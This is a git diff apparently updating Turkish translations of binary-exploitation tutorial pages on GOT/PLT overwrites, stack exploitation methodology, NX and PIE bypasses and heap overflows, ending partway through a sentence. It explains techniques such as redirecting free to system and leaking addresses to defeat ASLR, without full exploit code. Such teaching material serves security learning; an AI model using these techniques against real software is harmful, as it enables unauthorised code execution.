diff --git a/src/binary-exploitation/arbitrary-write-2-exec/aw2exec-got-plt.md b/src/binary-exploitation/arbitrary-write-2-exec/aw2exec-got-plt.md index 7a46d71ef..f51f05261 100644 --- a/src/binary-exploitation/arbitrary-write-2-exec/aw2exec-got-plt.md +++ b/src/binary-exploitation/arbitrary-write-2-exec/aw2exec-got-plt.md @@ -6,13 +6,13 @@ ### **GOT: Global Offset Table** -**Global Offset Table (GOT)**, dinamik bağlantılı ikili dosyalarda **harici fonksiyonların adreslerini** yönetmek için kullanılan bir mekanizmadır. Bu **adresler çalışma zamanında** (dinamik bağlantı nedeniyle) bilinmediğinden, GOT, bu harici sembollerin adresleri çözüldüğünde **dinamik olarak güncellenmesini** sağlar. +**Global Offset Table (GOT)**, dinamik olarak bağlantılı ikili dosyalarda **harici fonksiyonların adreslerini** yönetmek için kullanılan bir mekanizmadır. Bu **adresler çalışma zamanında** (dinamik bağlantı nedeniyle) bilinmediğinden, GOT, bu harici sembollerin adresleri çözüldüğünde **dinamik olarak güncellenmesini** sağlar. GOT'taki her giriş, ikilinin çağırabileceği harici kütüphanelerdeki bir sembole karşılık gelir. Bir **fonksiyon ilk kez çağrıldığında, gerçek adresi dinamik bağlayıcı tarafından çözülür ve GOT'a kaydedilir**. Aynı fonksiyona yapılan sonraki çağrılar, GOT'ta saklanan adresi kullanır ve böylece adresin tekrar çözülmesi için gereken yükten kaçınılır. ### **PLT: Procedure Linkage Table** -**Procedure Linkage Table (PLT)**, GOT ile yakından çalışır ve harici fonksiyonlara yapılan çağrıları yönetmek için bir trampolin görevi görür. Bir ikili dosya **ilk kez bir harici fonksiyonu çağırdığında, kontrol o fonksiyonla ilişkili PLT'deki bir girişe geçer**. Bu PLT girişi, fonksiyonun adresini çözmek için dinamik bağlayıcıyı çağırmaktan sorumludur eğer bu adres daha önce çözülmemişse. Adres çözüldükten sonra, **GOT**'a kaydedilir. +**Procedure Linkage Table (PLT)**, GOT ile yakından çalışır ve harici fonksiyonlara yapılan çağrıları yönetmek için bir trampolin görevi görür. Bir ikili dosya **ilk kez bir harici fonksiyonu çağırdığında, kontrol o fonksiyonla ilişkili PLT'deki bir girişe geçer**. Bu PLT girişi, fonksiyonun adresini çözmek için dinamik bağlayıcıyı çağırmaktan sorumludur, eğer bu adres daha önce çözülmemişse. Adres çözüldükten sonra, **GOT**'a kaydedilir. **Bu nedenle,** GOT girişleri, bir harici fonksiyon veya değişkenin adresi çözüldüğünde doğrudan kullanılır. **PLT girişleri, bu adreslerin dinamik bağlayıcı aracılığıyla ilk çözümlemesini kolaylaştırmak için kullanılır.** @@ -24,11 +24,11 @@ GOT tablosunun adresini almak için: **`objdump -s -j .got ./exec`** ![](<../../images/image (121).png>) -**Yükleme** sonrasında **GEF**'te **GOT**'ta bulunan **fonksiyonları** nasıl **görebileceğinizi** gözlemleyin: `gef➤ x/20x 0xADDR_GOT` +GEF'de **yürütülebilir dosyayı yükledikten sonra GOT'taki** **fonksiyonları** **görebileceğinizi** gözlemleyin: `gef➤ x/20x 0xADDR_GOT` -![](<../../images/image (620) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (2) (2) (2).png>) +![](<../../images/image (620) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (2) (2) (2).png>) -GEF kullanarak bir **hata ayıklama** oturumu **başlatabilir** ve GOT tablosunu görmek için **`got`** komutunu çalıştırabilirsiniz: +GEF kullanarak bir **hata ayıklama** oturumu başlatabilir ve GOT tablosunu görmek için **`got`** komutunu çalıştırabilirsiniz: ![](<../../images/image (496).png>) @@ -38,17 +38,17 @@ Bir ikili dosyada GOT, **fonksiyonların adreslerini** veya **PLT** bölümüne İdeal olarak, **parametrelerini kontrol ettiğiniz** bir **fonksiyonun GOT'unu** **geçersiz kılacaksınız** (böylece sistem fonksiyonuna gönderilen parametreleri kontrol edebileceksiniz). -Eğer **`system`** ikili dosya tarafından **kullanılmıyorsa**, sistem fonksiyonu **PLT'de** bir girişe sahip **olmayacaktır**. Bu senaryoda, önce **`system`** fonksiyonunun adresini **sızdırmanız** ve ardından GOT'u bu adrese işaret edecek şekilde **geçersiz kılmanız** gerekecektir. +Eğer **`system`** **ikili dosya tarafından kullanılmıyorsa**, sistem fonksiyonu **PLT'de** bir girişe sahip **olmayacaktır**. Bu senaryoda, önce **`system`** fonksiyonunun adresini sızdırmanız ve ardından GOT'u bu adrese işaret edecek şekilde geçersiz kılmanız gerekecektir. PLT adreslerini **`objdump -j .plt -d ./vuln_binary`** ile görebilirsiniz. ## libc GOT girişleri -**libc'nin GOT'u** genellikle **kısmi RELRO** ile derlenir, bu da onun adresini bulmanın mümkün olduğunu varsayarak iyi bir hedef haline getirir ([**ASLR**](../common-binary-protections-and-bypasses/aslr/)). +**libc'nin GOT'u** genellikle **kısmi RELRO** ile derlenir, bu da onun adresini bulmanın mümkün olduğunu varsayarak iyi bir hedef haline getirir ([**ASLR**](../common-binary-protections-and-bypasses/aslr/index.html)). -libc'nin yaygın fonksiyonları, kod yürütme elde etmek için GOT'unun geçersiz kılınabileceği **diğer iç fonksiyonları** çağıracaktır. +libc'nin yaygın fonksiyonları, kod yürütmek için GOT'unun geçersiz kılınabileceği **diğer iç fonksiyonları** çağıracaktır. -Bu teknik hakkında [**daha fazla bilgi burada**](https://github.com/nobodyisnobody/docs/blob/main/code.execution.on.last.libc/README.md#1---targetting-libc-got-entries) bulun. +Bu teknik hakkında [**daha fazla bilgi burada**](https://github.com/nobodyisnobody/docs/blob/main/code.execution.on.last.libc/README.md#1---targetting-libc-got-entries) bulabilirsiniz. ### **Free2system** @@ -66,7 +66,7 @@ Ayrıca, `puts` kullanıcı girdisi ile kullanıldığında, `strlen` GOT adresi ../rop-return-oriented-programing/ret2lib/one-gadget.md {{#endref}} -## **Heap'ten GOT'u Kötüye Kullanma** +## **Heap'ten GOT'a Saldırı** Heap zafiyetinden RCE elde etmenin yaygın bir yolu, hızlı bir binayı kötüye kullanmaktır, böylece GOT tablosunun bir kısmını hızlı binaya eklemek mümkün olur, böylece o parça tahsis edildiğinde **genellikle `free`** olan bir fonksiyonun işaretçisini **geçersiz kılmak** mümkün olacaktır.\ Sonra, `free`'yi `system`'a işaret edecek şekilde ayarlayıp `/bin/sh\x00` yazılmış bir parçayı serbest bıraktığınızda bir shell çalıştıracaktır. diff --git a/src/binary-exploitation/basic-stack-binary-exploitation-methodology/README.md b/src/binary-exploitation/basic-stack-binary-exploitation-methodology/README.md index 6717d37bd..9a8e953d2 100644 --- a/src/binary-exploitation/basic-stack-binary-exploitation-methodology/README.md +++ b/src/binary-exploitation/basic-stack-binary-exploitation-methodology/README.md @@ -24,15 +24,15 @@ Bu kadar çok teknikle, her tekniğin ne zaman faydalı olacağına dair bir şe Bir programın akışını kontrol etmenin farklı yolları vardır: -- [**Yığın Taşmaları**](../stack-overflow/) yığından dönüş işaretçisini veya EBP -> ESP -> EIP'yi yazma. +- [**Yığın Taşmaları**](../stack-overflow/index.html) yığından dönüş işaretçisini veya EBP -> ESP -> EIP'yi yazmak. - Taşmayı sağlamak için bir [**Tam Sayı Taşması**](../integer-overflow.md) istismar etmeniz gerekebilir. - Ya da **Rastgele Yazmalar + Yaz Ne Zaman Yürütme** yoluyla. -- [**Format dizeleri**](../format-strings/)**:** `printf`'i kullanarak rastgele içeriği rastgele adreslere yazma. -- [**Dizi İndeksleme**](../array-indexing.md): Bazı dizileri kontrol edebilmek ve rastgele yazma elde edebilmek için kötü tasarlanmış bir indekslemeyi istismar etme. +- [**Format dizeleri**](../format-strings/index.html)**:** `printf`'i kullanarak rastgele içeriği rastgele adreslere yazmak. +- [**Dizi İndeksleme**](../array-indexing.md): Bazı dizileri kontrol edebilmek ve rastgele yazma elde edebilmek için kötü tasarlanmış bir indekslemeyi istismar etmek. - Taşmayı sağlamak için bir [**Tam Sayı Taşması**](../integer-overflow.md) istismar etmeniz gerekebilir. -- **bof'dan WWW'ye ROP ile**: Bir tampon taşmasını istismar ederek bir ROP oluşturma ve WWW'ye ulaşma. +- **bof'dan WWW'ye ROP**: Bir tampon taşmasını istismar ederek bir ROP oluşturmak ve WWW'ye ulaşmak. -**Yaz Ne Zaman Yürütme** tekniklerini şurada bulabilirsiniz: +**Yaz Ne Zaman Yürütme** tekniklerini bulabilirsiniz: {{#ref}} ../arbitrary-write-2-exec/ @@ -42,70 +42,70 @@ Bir programın akışını kontrol etmenin farklı yolları vardır: Dikkate alınması gereken bir şey, genellikle **bir zafiyetin sadece bir kez sömürülmesinin yeterli olmayabileceğidir**; özellikle bazı korumaların aşılması gerekir. Bu nedenle, bir **tek zafiyeti aynı ikilinin yürütülmesi sırasında birkaç kez sömürülebilir hale getirmek** için bazı seçenekleri tartışmak ilginçtir: -- **`main` fonksiyonunun** adresini veya **zafiyetin** meydana geldiği adresi bir **ROP** zincirine yazma. +- **`main` fonksiyonunun** adresini veya **zafiyetin** meydana geldiği adresi bir **ROP** zincirine yazmak. - Uygun bir ROP zincirini kontrol ederek, o zincirdeki tüm eylemleri gerçekleştirebilirsiniz. -- **`exit` adresini GOT'ta** (veya ikili tarafından bitirilmeden önce kullanılan herhangi bir fonksiyonda) **zafiyete geri dönme** adresi ile yazma. -- [**.fini_array**](../arbitrary-write-2-exec/www2exec-.dtors-and-.fini_array.md#eternal-loop)**'de** burada, zafiyeti tekrar çağıracak bir fonksiyon ve **`__libc_csu_fini`** fonksiyonunu çağıracak bir fonksiyon saklayın; bu da `.fini_array`'dan fonksiyonu tekrar çağıracaktır. +- **`exit` adresini GOT'ta** (veya ikili tarafından bitirilmeden önce kullanılan herhangi bir fonksiyonda) **zafiyete geri dönmek** için adres yazmak. +- [**.fini_array**](../arbitrary-write-2-exec/www2exec-.dtors-and-.fini_array.md#eternal-loop)**'de** açıklandığı gibi, burada zafiyeti tekrar çağıracak bir fonksiyon ve **`__libc_csu_fini`** fonksiyonunu çağıracak başka bir fonksiyon saklamak. ## Sömürü Hedefleri -### Hedef: Mevcut bir fonksiyonu çağırma +### Hedef: Mevcut bir fonksiyonu çağırmak - [**ret2win**](#ret2win): Bayrağı almak için çağırmanız gereken (belki bazı özel parametrelerle) kodda bir fonksiyon var. -- [**PIE**](../common-binary-protections-and-bypasses/pie/) **ve** [**canary**](../common-binary-protections-and-bypasses/stack-canaries/) **olmayan** bir **normal bof'da**, yığındaki saklanan dönüş adresine sadece adresi yazmanız yeterlidir. -- [**PIE**](../common-binary-protections-and-bypasses/pie/) olan bir bof'da, bunu aşmanız gerekecek. -- [**canary**](../common-binary-protections-and-bypasses/stack-canaries/) olan bir bof'da, bunu aşmanız gerekecek. -- **ret2win** fonksiyonunu doğru bir şekilde çağırmak için birkaç parametre ayarlamanız gerekiyorsa: -- Tüm parametreleri hazırlamak için yeterli gadget varsa bir [**ROP**](#rop-and-ret2...-techniques) **zinciri** kullanabilirsiniz. -- Birçok kaydı kontrol etmek için [**SROP**](../rop-return-oriented-programing/srop-sigreturn-oriented-programming/) (bu syscall'ı çağırabiliyorsanız). +- [**PIE**](../common-binary-protections-and-bypasses/pie/index.html) **ve** [**canary**](../common-binary-protections-and-bypasses/stack-canaries/index.html) olmayan bir **normal bof'da**, yığındaki saklanan dönüş adresine sadece adresi yazmanız yeterlidir. +- [**PIE**](../common-binary-protections-and-bypasses/pie/index.html) olan bir bof'da, bunu aşmanız gerekecek. +- [**canary**](../common-binary-protections-and-bypasses/stack-canaries/index.html) olan bir bof'da, bunu aşmanız gerekecek. +- **ret2win** fonksiyonunu doğru bir şekilde çağırmak için birkaç parametre ayarlamanız gerekiyorsa, şunları kullanabilirsiniz: +- Tüm parametreleri hazırlamak için yeterli gadget varsa bir [**ROP**](#rop-and-ret2...-techniques) **zinciri**. +- Birçok kaydı kontrol etmek için [**SROP**](../rop-return-oriented-programing/srop-sigreturn-oriented-programming/index.html) (bu syscall'ı çağırabiliyorsanız). - Birçok kaydı kontrol etmek için [**ret2csu**](../rop-return-oriented-programing/ret2csu.md) ve [**ret2vdso**](../rop-return-oriented-programing/ret2vdso.md) gadget'ları. -- [**Yaz Ne Zaman**](../arbitrary-write-2-exec/) yoluyla, **`win`** fonksiyonunu çağırmak için diğer zafiyetleri (bof olmayan) istismar edebilirsiniz. -- [**İşaretçi Yönlendirme**](../stack-overflow/pointer-redirecting.md): Yığın, çağrılacak bir fonksiyona veya ilginç bir fonksiyon (system veya printf) tarafından kullanılacak bir dizeye işaret eden işaretçiler içeriyorsa, o adresi yazmak mümkündür. -- [**ASLR**](../common-binary-protections-and-bypasses/aslr/) veya [**PIE**](../common-binary-protections-and-bypasses/pie/) adresleri etkileyebilir. +- [**Yaz Ne Zaman**](../arbitrary-write-2-exec/index.html) ile, **`win`** fonksiyonunu çağırmak için diğer zafiyetleri (bof değil) istismar edebilirsiniz. +- [**İşaretçi Yönlendirme**](../stack-overflow/pointer-redirecting.md): Yığın, çağrılacak bir fonksiyona veya ilginç bir fonksiyon (system veya printf) tarafından kullanılacak bir dizeye işaretçi içeriyorsa, o adresi yazmak mümkündür. +- [**ASLR**](../common-binary-protections-and-bypasses/aslr/index.html) veya [**PIE**](../common-binary-protections-and-bypasses/pie/index.html) adresleri etkileyebilir. - [**Başlatılmamış değişkenler**](../stack-overflow/uninitialized-variables.md): Asla bilemezsiniz. ### Hedef: RCE -#### Shellcode aracılığıyla, eğer nx devre dışıysa veya shellcode ile ROP'u karıştırarak: +#### Shellcode aracılığıyla, eğer nx devre dışıysa veya shellcode'u ROP ile karıştırıyorsanız: -- [**(Yığın) Shellcode**](#stack-shellcode): Bu, dönüş işaretçisini yazmadan önce veya sonra yığında bir shellcode saklamak ve ardından **ona atlamak** için yararlıdır: -- Her durumda, eğer bir [**canary**](../common-binary-protections-and-bypasses/stack-canaries/) **varsa**, normal bir bof'da bunu aşmanız gerekecek (sızdırma). -- [**ASLR**](../common-binary-protections-and-bypasses/aslr/) **ve** [**nx**](../common-binary-protections-and-bypasses/no-exec-nx.md) **olmaksızın**, yığın adresine atlamak mümkündür çünkü asla değişmeyecektir. -- [**ASLR**](../common-binary-protections-and-bypasses/aslr/) **ile**, ona atlamak için [**ret2esp/ret2reg**](../rop-return-oriented-programing/ret2esp-ret2reg.md) gibi tekniklere ihtiyacınız olacak. -- [**nx**](../common-binary-protections-and-bypasses/no-exec-nx.md) **ile**, bazı [**ROP**](../rop-return-oriented-programing/) **kullanarak `memprotect` çağırmanız** ve bazı sayfaları `rwx` yapmanız gerekecek; ardından shellcode'u oraya **saklamak** (örneğin, read çağırarak) ve oraya atlamak. -- Bu, shellcode ile bir ROP zincirini karıştıracaktır. +- [**(Yığın) Shellcode**](#stack-shellcode): Bu, dönüş işaretçisini yazdıktan önce veya sonra yığında bir shellcode saklamak ve ardından **ona atlamak** için yararlıdır: +- Her durumda, eğer bir [**canary**](../common-binary-protections-and-bypasses/stack-canaries/index.html)** varsa**, normal bir bof'da bunu aşmanız gerekecek (sızdırmak). +- [**ASLR**](../common-binary-protections-and-bypasses/aslr/index.html) **ve** [**nx**](../common-binary-protections-and-bypasses/no-exec-nx.md) olmadan, yığın adresine atlamak mümkündür çünkü asla değişmeyecektir. +- [**ASLR**](../common-binary-protections-and-bypasses/aslr/index.html) ile, ona atlamak için [**ret2esp/ret2reg**](../rop-return-oriented-programing/ret2esp-ret2reg.md) gibi tekniklere ihtiyacınız olacak. +- [**nx**](../common-binary-protections-and-bypasses/no-exec-nx.md) ile, bazı [**ROP**](../rop-return-oriented-programing/index.html) kullanmanız gerekecek **`memprotect`** çağırmak ve bazı sayfaları `rwx` yapmak için, ardından **shellcode'u oraya saklamak** (örneğin read çağırarak) ve sonra oraya atlamak. +- Bu, shellcode'u bir ROP zinciri ile karıştıracaktır. #### Syscall'lar aracılığıyla -- [**Ret2syscall**](../rop-return-oriented-programing/rop-syscall-execv/): Rastgele komutları çalıştırmak için `execve` çağırmak için yararlıdır. **Belirli syscall'ı parametrelerle çağırmak için gadget'ları bulabilmeniz gerekir.** -- [**ASLR**](../common-binary-protections-and-bypasses/aslr/) veya [**PIE**](../common-binary-protections-and-bypasses/pie/) etkinse, **ROP gadget'larını** kullanmak için bunları aşmanız gerekecek. -- [**SROP**](../rop-return-oriented-programing/srop-sigreturn-oriented-programming/) **ret2execve'yi** hazırlamak için yararlı olabilir. +- [**Ret2syscall**](../rop-return-oriented-programing/rop-syscall-execv/index.html): Rastgele komutları çalıştırmak için `execve` çağırmak için yararlıdır. **Belirli syscall'ı parametrelerle çağırmak için gadget'ları bulabilmeniz gerekir.** +- Eğer [**ASLR**](../common-binary-protections-and-bypasses/aslr/index.html) veya [**PIE**](../common-binary-protections-and-bypasses/pie/index.html) etkinse, **ROP gadget'larını** kullanmak için bunları aşmanız gerekecek. +- [**SROP**](../rop-return-oriented-programing/srop-sigreturn-oriented-programming/index.html) **ret2execve**'yi hazırlamak için yararlı olabilir. - Birçok kaydı kontrol etmek için [**ret2csu**](../rop-return-oriented-programing/ret2csu.md) ve [**ret2vdso**](../rop-return-oriented-programing/ret2vdso.md) gadget'ları. #### libc aracılığıyla -- [**Ret2lib**](../rop-return-oriented-programing/ret2lib/): Genellikle **`libc`**'den bir fonksiyonu (örneğin, **`system`**) bazı hazırlanmış argümanlarla (örn. `'/bin/sh'`) çağırmak için yararlıdır. İstediğiniz fonksiyonu çağırmak için ikilinin **kütüphaneyi yüklemesi** gerekir (genellikle libc). -- **Statik derlenmiş ve** [**PIE**](../common-binary-protections-and-bypasses/pie/) **yoksa**, `system` ve `/bin/sh`'nin **adresleri** değişmeyecek, bu nedenle bunları statik olarak kullanmak mümkündür. -- [**ASLR**](../common-binary-protections-and-bypasses/aslr/) **olmaksızın** **ve yüklü libc sürümünü bilerek**, `system` ve `/bin/sh`'nin **adresleri** değişmeyecek, bu nedenle bunları statik olarak kullanmak mümkündür. -- [**ASLR**](../common-binary-protections-and-bypasses/aslr/) **varsa** ancak [**PIE**](../common-binary-protections-and-bypasses/pie/) **yoksa**, libc'yi bilerek ve ikili `system` **fonksiyonunu kullanıyorsa**, **GOT'taki system adresine** `'/bin/sh'` adresi ile **`ret`** yapmanız mümkündür (bunu çözmeniz gerekecek). -- [**ASLR**](../common-binary-protections-and-bypasses/aslr/) **varsa** ancak [**PIE**](../common-binary-protections-and-bypasses/pie/) **yoksa**, libc'yi bilerek ve **ikili `system`** kullanmıyorsanız: -- [**`ret2dlresolve`**](../rop-return-oriented-programing/ret2dlresolve.md) kullanarak `system`'in adresini çözümleyin ve çağırın. -- [**ASLR**](../common-binary-protections-and-bypasses/aslr/) **aşın** ve `system` ile `'/bin/sh'`'nin adresini bellek içinde hesaplayın. -- [**ASLR**](../common-binary-protections-and-bypasses/aslr/) **ve** [**PIE**](../common-binary-protections-and-bypasses/pie/) **ve libc'yi bilmeden**: Şunları yapmanız gerekir: -- [**PIE**](../common-binary-protections-and-bypasses/pie/) aşın. -- Kullanılan **`libc` sürümünü** bulun (birkaç fonksiyon adresini sızdırın). -- Devam etmek için **ASLR ile önceki senaryoları** kontrol edin. +- [**Ret2lib**](../rop-return-oriented-programing/ret2lib/index.html): Genellikle **`libc`**'den bir fonksiyonu (örneğin **`system`**) bazı hazırlanmış argümanlarla (örneğin `'/bin/sh'`) çağırmak için yararlıdır. Çağırmak istediğiniz fonksiyonla birlikte **kütüphaneyi yüklemek** için ikiliyi kullanmanız gerekir (genellikle libc). +- **Statik derlenmiş ve** [**PIE**](../common-binary-protections-and-bypasses/pie/index.html) yoksa, `system` ve `/bin/sh`'nin **adresleri** değişmeyecek, bu nedenle bunları statik olarak kullanmak mümkündür. +- **ASLR** olmadan **ve yüklü libc sürümünü bilerek**, `system` ve `/bin/sh`'nin **adresleri** değişmeyecek, bu nedenle bunları statik olarak kullanmak mümkündür. +- [**ASLR**](../common-binary-protections-and-bypasses/aslr/index.html) **ama** [**PIE**](../common-binary-protections-and-bypasses/pie/index.html) yoksa, libc'yi bilerek ve ikili `system` fonksiyonunu kullanıyorsa, **GOT'taki system adresine** `'/bin/sh'` adresi ile **`ret`** yapmanız mümkündür (bunu çözmeniz gerekecek). +- [ASLR](../common-binary-protections-and-bypasses/aslr/index.html) ama [PIE](../common-binary-protections-and-bypasses/pie/index.html) yoksa, libc'yi bilerek ve **ikili `system` fonksiyonunu kullanmıyorsanız**: +- [**`ret2dlresolve`**](../rop-return-oriented-programing/ret2dlresolve.md) kullanarak `system`'in adresini çözmek ve çağırmak. +- [**ASLR**](../common-binary-protections-and-bypasses/aslr/index.html) aşmak ve `system` ve `'/bin/sh'` adreslerini bellek içinde hesaplamak. +- [**ASLR**](../common-binary-protections-and-bypasses/aslr/index.html) **ve** [**PIE**](../common-binary-protections-and-bypasses/pie/index.html) **ve libc'yi bilmeden**: Şunları yapmanız gerekir: +- [**PIE**](../common-binary-protections-and-bypasses/pie/index.html) aşmak. +- Kullanılan **`libc` sürümünü** bulmak (birkaç fonksiyon adresini sızdırmak). +- Devam etmek için **ASLR ile önceki senaryoları** kontrol etmek. #### EBP/RBP aracılığıyla - [**Yığın Pivotlama / EBP2Ret / EBP Zincirleme**](../stack-overflow/stack-pivoting-ebp2ret-ebp-chaining.md): Yığındaki saklanan EBP aracılığıyla RET'i kontrol etmek için ESP'yi kontrol edin. -- **Birden fazla** yığın taşmaları için yararlıdır. -- Yüklemenin bellek içinde payload'u oluştururken EIP'i istismar ederek EIP'i kontrol etmenin alternatif bir yolu olarak yararlıdır ve ardından EBP aracılığıyla ona atlayın. +- **Birden fazla** yığın taşmalarında yararlıdır. +- Yüklemenin hafızada oluşturulması ve ardından EBP aracılığıyla ona atlamak için EIP'yi kontrol etmenin alternatif bir yolu olarak yararlıdır. #### Çeşitli -- [**İşaretçi Yönlendirme**](../stack-overflow/pointer-redirecting.md): Yığın, çağrılacak bir fonksiyona veya ilginç bir fonksiyon (system veya printf) tarafından kullanılacak bir dizeye işaret eden işaretçiler içeriyorsa, o adresi yazmak mümkündür. -- [**ASLR**](../common-binary-protections-and-bypasses/aslr/) veya [**PIE**](../common-binary-protections-and-bypasses/pie/) adresleri etkileyebilir. +- [**İşaretçi Yönlendirme**](../stack-overflow/pointer-redirecting.md): Yığın, çağrılacak bir fonksiyona veya ilginç bir fonksiyon (system veya printf) tarafından kullanılacak bir dizeye işaretçi içeriyorsa, o adresi yazmak mümkündür. +- [**ASLR**](../common-binary-protections-and-bypasses/aslr/index.html) veya [**PIE**](../common-binary-protections-and-bypasses/pie/index.html) adresleri etkileyebilir. - [**Başlatılmamış değişkenler**](../stack-overflow/uninitialized-variables.md): Asla bilemezsiniz. {{#include ../../banners/hacktricks-training.md}} diff --git a/src/binary-exploitation/common-binary-protections-and-bypasses/no-exec-nx.md b/src/binary-exploitation/common-binary-protections-and-bypasses/no-exec-nx.md index 8c32aa122..832568e03 100644 --- a/src/binary-exploitation/common-binary-protections-and-bypasses/no-exec-nx.md +++ b/src/binary-exploitation/common-binary-protections-and-bypasses/no-exec-nx.md @@ -8,9 +8,9 @@ ## Bypass'ler -- Bu korumayı aşmak için [**ROP**](../rop-return-oriented-programing/) gibi teknikler kullanmak mümkündür; bu, ikili dosyada zaten mevcut olan çalıştırılabilir kod parçalarını çalıştırarak yapılır. -- [**Ret2libc**](../rop-return-oriented-programing/ret2lib/) -- [**Ret2syscall**](../rop-return-oriented-programing/rop-syscall-execv/) +- Bu korumayı aşmak için [**ROP**](../rop-return-oriented-programing/index.html) gibi tekniklerin kullanılması mümkündür; bu, ikili dosyada zaten mevcut olan çalıştırılabilir kod parçalarını çalıştırarak yapılır. +- [**Ret2libc**](../rop-return-oriented-programing/ret2lib/index.html) +- [**Ret2syscall**](../rop-return-oriented-programing/rop-syscall-execv/index.html) - **Ret2...** {{#include ../../banners/hacktricks-training.md}} diff --git a/src/binary-exploitation/common-binary-protections-and-bypasses/pie/README.md b/src/binary-exploitation/common-binary-protections-and-bypasses/pie/README.md index b3da578b6..8cd024324 100644 --- a/src/binary-exploitation/common-binary-protections-and-bypasses/pie/README.md +++ b/src/binary-exploitation/common-binary-protections-and-bypasses/pie/README.md @@ -4,7 +4,7 @@ ## Temel Bilgiler -PIE olarak derlenmiş bir ikili, yani **Konum Bağımsız Yürütülebilir**, **programın her çalıştırıldığında farklı bellek konumlarında yüklenebileceği** anlamına gelir, bu da sabit adreslerin önüne geçer. +PIE olarak derlenmiş bir ikili, yani **Pozisyon Bağımsız Yürütülebilir**, **programın her çalıştırıldığında farklı bellek konumlarında yüklenebileceği** anlamına gelir, bu da sabit adreslerin önüne geçer. Bu ikilileri istismar etmenin püf noktası, **göreceli adresleri** istismar etmektir—programın parçaları arasındaki ofsetler, mutlak konumlar değişse bile aynı kalır. **PIE'yi atlatmak için yalnızca bir adres sızdırmanız gerekir**, genellikle **yığın** üzerinden format dizesi saldırıları gibi zafiyetler kullanarak. Bir adres elde ettiğinizde, diğerlerini **sabit ofsetleri** ile hesaplayabilirsiniz. @@ -15,15 +15,15 @@ Ya da bunu istismarınız için kullanabilirsiniz, eğer bir adresin **`0x649e10 PIE'yi atlatmak için, yüklenmiş ikilinin **bir adresini sızdırmak** gereklidir, bunun için bazı seçenekler vardır: -- **ASLR'yi devre dışı bırakma**: ASLR devre dışı bırakıldığında, PIE ile derlenmiş bir ikili her zaman **aynı adreste yüklenecektir**, bu nedenle **PIE işe yaramaz** çünkü nesnelerin adresleri her zaman aynı yerde olacaktır. +- **ASLR devre dışı**: ASLR devre dışı bırakıldığında, PIE ile derlenmiş bir ikili her zaman **aynı adreste yüklenecektir**, bu nedenle **PIE işe yaramaz** çünkü nesnelerin adresleri her zaman aynı yerde olacaktır. - Sızıntıyı **almak** (kolay CTF zorluklarında yaygındır, [**bu örneğe bakın**](https://ir0nstone.gitbook.io/notes/types/stack/pie/pie-exploit)) -- Yığındaki **EBP ve EIP değerlerini** doğru olanları sızdırana kadar **kaba kuvvet** ile denemek: +- Yığındaki **doğru EBP ve EIP değerlerini sızdırana kadar brute-force** yapmak: {{#ref}} bypassing-canary-and-pie.md {{#endref}} -- Bir **keyfi okuma** zafiyetini kullanarak [**format dizesi**](../../format-strings/) gibi, ikilinin bir adresini sızdırmak (örneğin, önceki teknik gibi yığından) ikilinin temelini elde etmek ve buradan ofsetleri kullanmak için. [**Burada bir örnek bulun**](https://ir0nstone.gitbook.io/notes/types/stack/pie/pie-bypass). +- Bir **keyfi okuma** zafiyetini kullanarak [**format dizesi**](../../format-strings/index.html) gibi, ikilinin bir adresini sızdırmak (örneğin, önceki teknik gibi yığından) ikilinin temelini elde etmek ve buradan ofsetleri kullanmak için. [**Burada bir örnek bulun**](https://ir0nstone.gitbook.io/notes/types/stack/pie/pie-bypass). ## Referanslar diff --git a/src/binary-exploitation/libc-heap/heap-overflow.md b/src/binary-exploitation/libc-heap/heap-overflow.md index ba39136b0..00db9314c 100644 --- a/src/binary-exploitation/libc-heap/heap-overflow.md +++ b/src/binary-exploitation/libc-heap/heap-overflow.md @@ -4,38 +4,38 @@ ## Temel Bilgiler -Heap overflow, [**stack overflow**](../stack-overflow/) gibi ama heap'te gerçekleşir. Temelde, heap'te bazı verileri saklamak için ayrılmış bir alanın olduğu ve **saklanan verinin ayrılan alandan daha büyük olduğu** anlamına gelir. +Heap overflow, [**stack overflow**](../stack-overflow/index.html) gibi ama heap'te gerçekleşir. Temelde, bazı verileri depolamak için heap'te yer ayrıldığını ve **depolanan verinin ayrılan alandan daha büyük olduğunu** ifade eder. -Stack overflow'larda, bazı kayıtların, örneğin talimat işaretçisi veya stack çerçevesinin, stack'ten geri yükleneceğini biliyoruz ve bunu kötüye kullanmak mümkün olabilir. Heap overflow'larda ise, **varsayılan olarak heap parçasında saklanan herhangi bir hassas bilgi yoktur**. Ancak, hassas bilgiler veya işaretçiler olabilir, bu nedenle bu açığın **kritikliği**, **hangi verilerin üzerine yazılabileceğine** ve bir saldırganın bunu nasıl kötüye kullanabileceğine **bağlıdır**. +Stack overflow'larda, bazı kayıtların, örneğin talimat işaretçisi veya stack çerçevesinin, stack'ten geri yükleneceğini biliyoruz ve bunu kötüye kullanmak mümkün olabilir. Heap overflow'larda ise, **varsayılan olarak heap parçasında depolanan herhangi bir hassas bilgi yoktur**. Ancak, hassas bilgiler veya işaretçiler olabilir, bu nedenle bu açığın **kritikliği**, **hangi verilerin üzerine yazılabileceğine** ve bir saldırganın bunu nasıl kötüye kullanabileceğine **bağlıdır**. > [!TIP] -> Overflow offset'lerini bulmak için [**stack overflow'larda**](../stack-overflow/index.html#finding-stack-overflows-offsets) olduğu gibi aynı kalıpları kullanabilirsiniz. +> Overflow offset'lerini bulmak için [**stack overflow'larda**](../stack-overflow/index.html#finding-stack-overflows-offsets) kullanılan aynı desenleri kullanabilirsiniz. ### Stack Overflow'lar vs Heap Overflow'lar -Stack overflow'larda, açığın tetiklenebileceği anda stack'te bulunacak düzen ve veriler oldukça güvenilirdir. Bunun nedeni, stack'in lineer olması, her zaman çarpışan bellek içinde artması, **programın çalışması sırasında stack belleğinin genellikle benzer türde verileri saklaması** ve her fonksiyon tarafından kullanılan stack parçasının sonunda bazı işaretçilerle belirli bir yapıya sahip olmasıdır. +Stack overflow'larda, açığın tetiklenebileceği anda stack'te bulunacak düzen ve veriler oldukça güvenilirdir. Bunun nedeni, stack'in lineer olması, her zaman çarpışan bellek içinde artması, **programın çalışması sırasında stack belleğinin genellikle benzer türde verileri depolamasıdır** ve her fonksiyon tarafından kullanılan stack parçasının sonunda bazı işaretçilerin bulunmasıdır. Ancak, 